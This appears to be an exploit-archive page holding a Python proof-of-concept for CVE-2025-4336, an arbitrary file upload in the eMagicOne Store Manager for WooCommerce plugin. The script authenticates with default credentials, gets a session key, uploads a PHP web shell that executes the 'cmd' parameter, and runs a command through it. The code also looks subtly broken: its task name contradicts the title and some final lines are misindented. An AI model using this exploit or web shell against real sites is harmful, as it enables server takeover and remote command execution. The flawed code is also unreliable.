4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-4336.py PY
# Exploit Title: eMagicOne Store Manager for WooCommerce <= 1.2.5 - Arbitrary File Upload via set_file Task
# Date: 05/03/2025
# Exploit Author: Ryan Kozak https://ryankozak.com
# Vendor Homepage:  https://emagicone.com
# Version: <= 1.2.5
# Tested on: 1.2.5
# CVE : CVE-2025-4336

import time
import urllib3
import hashlib
import argparse
import requests


def main():
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    ENTITY_TYPE = "."

    # Parse command line arguments
    parser = argparse.ArgumentParser(description="CVE-2025-4336: An exploit...")
    parser.add_argument("victim_url", help="Target url or ip address.")
    parser.add_argument("--username", default="1", help="Username for authentication (default: 1)")
    parser.add_argument("--password", default="1", help="Password for authentication (default: 1)")
    args = parser.parse_args()

    hash_val = hashlib.md5((args.username + args.password).encode()).hexdigest()

    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }

    print("[*] Requesting session key...")
    resp = session.post(
        f"{args.victim_url}/?connector=bridge",
        data={
            "hash": hash_val,
            "task": "get_version"
        },
        headers=headers,
        verify=False
    )
    print("[*] Raw response:", resp.text)
    try:
        session_key = resp.json().get("session_key")
    except Exception:
        print("[-] Failed to parse session key from response:", resp.text)
        exit(1)

    if not session_key:
        print("[-] No session key returned!")
        exit(1)
    print("[+] Got session key:", session_key)
    time.sleep(2)

    upload_url = (
        f"{args.victim_url}/?connector=bridge"
        f"&task=delete_file"
        f"&key={session_key}"
        f"&path=./test.txt"
    )

    shell_content  = b"<?php\n"
    shell_content += b"// Silence is golden\n"
    shell_content += b"if (!empty($_GET['cmd'])) {\n"
    shell_content += b"    echo \"<pre>\".shell_exec($_GET[\"cmd\"]).\"</pre>\";\n"
    shell_content += b"}\n"
    shell_content += b"?>\r\n"

    files = {
        "file": ("shell.php", shell_content, "text/plain")
    }

    print("[*] Uploading file...")
    resp = session.post(upload_url, files=files, headers=headers, verify=False)
    print("[*] Upload response:", resp.text)

   print("[*] Executing Web Shell Commands...")
   r = requests.get(f"{args.victim_url}/shell.php?cmd=ip addr", verify=False)
   print(r.text)


if __name__ == "__main__":
    main()